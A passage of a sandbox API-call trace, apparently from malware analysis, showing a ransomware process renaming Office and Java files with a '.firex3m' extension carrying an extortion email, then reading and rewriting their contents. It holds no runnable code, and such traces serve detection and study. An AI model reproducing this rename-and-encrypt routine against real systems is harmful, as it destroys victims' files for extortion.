ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x296c, dwReserved0=0xb747496, dwReserved1=0x73005d0, cFileName="fontconfig.properties.src.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FONTCO~1.FIR")) returned 0x6d5200 [0120.465] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.465] Sleep (dwMilliseconds=0x1) [0120.473] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", len=0x36 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 1 [0120.473] GetProcessHeap () returned 0x630000 [0120.473] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x144) returned 0x66a3e0 [0120.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0120.476] CloseHandle (hObject=0x5ec) returned 1 [0120.476] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.514] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0xab088724, dwReserved1=0x0, cFileName="SLERROR.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SLERRO~1.FIR")) returned 0x6d5200 [0120.514] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0120.514] GetProcessHeap () returned 0x630000 [0120.514] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8e01) returned 0x6ee3ce0 [0120.514] GetProcessHeap () returned 0x630000 [0120.514] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8e01) returned 0x71790c8 [0120.515] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.515] ReadFile (in: hFile=0x5ec, lpBuffer=0x6ee3ce0, nNumberOfBytesToRead=0x8de0, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee3ce0*, lpNumberOfBytesRead=0x45bff0c*=0x8de0, lpOverlapped=0x0) returned 1 [0123.184] GetProcessHeap () returned 0x630000 [0123.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0123.185] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.185] WriteFile (in: hFile=0x5ec, lpBuffer=0x71790c8*, nNumberOfBytesToWrite=0x8de0, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71790c8*, lpNumberOfBytesWritten=0x45bff0c*=0x8de0, lpOverlapped=0x0) returned 1 [0123.185] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.185] WriteFile (in: hFile=0x5ec, lpBuffer=0x7181ea7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7181ea7*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.185] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.185] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.185] CloseHandle (hObject=0x5ec) returned 1 [0123.187] GetProcessHeap () returned 0x630000 [0123.187] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71790c8 | out: hHeap=0x630000) returned 1 [0123.187] GetProcessHeap () returned 0x630000 [0123.187] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee3ce0 | out: hHeap=0x630000) returned 1 [0123.188] GetProcessHeap () returned 0x630000 [0123.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0128.490] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5f15b6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8e14, dwReserved0=0xb747496, dwReserved1=0x6ee3cd8, cFileName="SLERROR.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SLERRO~1.FIR")) returned 0x6d5000 [0128.491] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0128.491] Sleep (dwMilliseconds=0x1) [0128.548] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", len=0x4f | out: pbstr=0x45bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 1 [0128.548] GetProcessHeap () returned 0x630000 [0128.548] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xdc) returned 0x66a3e0 [0128.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.548] CloseHandle (hObject=0x4e0) returned 1 [0128.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.549] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="win32_MoveNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN32_~1.FIR")) returned 0x6d5480 [0128.549] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0128.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.550] GetProcessHeap () returned 0x630000 [0128.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64f898 [0128.550] GetProcessHeap () returned 0x630000 [0128.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x64ead8 [0128.550] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.550] ReadFile (in: hFile=0x4e0, lpBuffer=0x64f898, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x64f898*, lpNumberOfBytesRead=0x45bff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.551] GetProcessHeap () returned 0x630000 [0128.551] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0128.551] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.551] WriteFile (in: hFile=0x4e0, lpBuffer=0x64ead8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x64ead8*, lpNumberOfBytesWritten=0x45bff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.551] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.551] WriteFile (in: hFile=0x4e0, lpBuffer=0x64eb57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x64eb57*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.552] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.552] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.552] CloseHandle (hObject=0x4e0) returned 1 [0128.553] GetProcessHeap () returned 0x630000 [0128.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64ead8 | out: hHeap=0x630000) returned 1 [0128.553] GetProcessHeap () returned 0x630000 [0128.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64f898 | out: hHeap=0x630000) returned 1 [0128.553] GetProcessHeap () returned 0x630000 [0128.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0128.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x129363d4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x45bfd20, dwReserved1=0x64f898, cFileName="win32_MoveNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIN32_~1.FIR")) returned 0x6d4f00 [0128.554] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0128.554] Sleep (dwMilliseconds=0x1) [0128.591] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", len=0x4f | out: pbstr=0x45bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 1 [0128.591] GetProcessHeap () returned 0x630000 [0128.591] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xcc) returned 0x66a3e0 [0128.591] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0128.595] CloseHandle (hObject=0x6d8) returned 1 [0128.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.678] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="win32_CopyNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WI12F4~1.FIR")) returned 0x6d5540 [0128.678] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0128.678] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0128.678] GetProcessHeap () returned 0x630000 [0128.678] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650028 [0128.678] GetProcessHeap () returned 0x630000 [0128.678] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x6500d8 [0128.678] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.679] ReadFile (in: hFile=0x6d8, lpBuffer=0x650028, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x650028*, lpNumberOfBytesRead=0x45bff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.680] GetProcessHeap () returned 0x630000 [0128.680] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0128.680] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.680] WriteFile (in: hFile=0x6d8, lpBuffer=0x6500d8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6500d8*, lpNumberOfBytesWritten=0x45bff0c*=0x80, lpOverlapped=0x0) returned 1 [0128.680] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.680] WriteFile (in: hFile=0x6d8, lpBuffer=0x650157*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x650157*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.680] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.680] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.680] CloseHandle (hObject=0x6d8) returned 1 [0128.681] GetProcessHeap () returned 0x630000 [0128.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6500d8 | out: hHeap=0x630000) returned 1 [0128.681] GetProcessHeap () returned 0x630000 [0128.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650028 | out: hHeap=0x630000) returned 1 [0128.681] GetProcessHeap () returned 0x630000 [0128.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0128.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x12a675a1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbd, dwReserved0=0x45bfd20, dwReserved1=0x650028, cFileName="win32_CopyNoDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WI12F4~1.FIR")) returned 0x6d5540 [0128.681] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0128.681] Sleep (dwMilliseconds=0x1) [0128.775] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf", len=0x45 | out: pbstr=0x45bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 1 [0128.775] GetProcessHeap () returned 0x630000 [0128.775] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xa0) returned 0x66a3e0 [0128.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0128.776] CloseHandle (hObject=0x640) returned 1 [0128.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.777] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUEF96~1.FIR")) returned 0x6d4ec0 [0128.777] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0128.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0128.777] GetProcessHeap () returned 0x630000 [0128.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x704b9c0 [0128.778] GetProcessHeap () returned 0x630000 [0128.778] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7056df0 [0128.778] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.779] ReadFile (in: hFile=0x640, lpBuffer=0x704b9c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x704b9c0*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.932] GetProcessHeap () returned 0x630000 [0136.932] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0136.932] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.932] WriteFile (in: hFile=0x640, lpBuffer=0x7056df0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7056df0*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.933] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.933] WriteFile (in: hFile=0x640, lpBuffer=0x70621ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70621ef*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.933] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.933] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.933] CloseHandle (hObject=0x640) returned 1 [0136.936] GetProcessHeap () returned 0x630000 [0136.936] HeapFree (in: 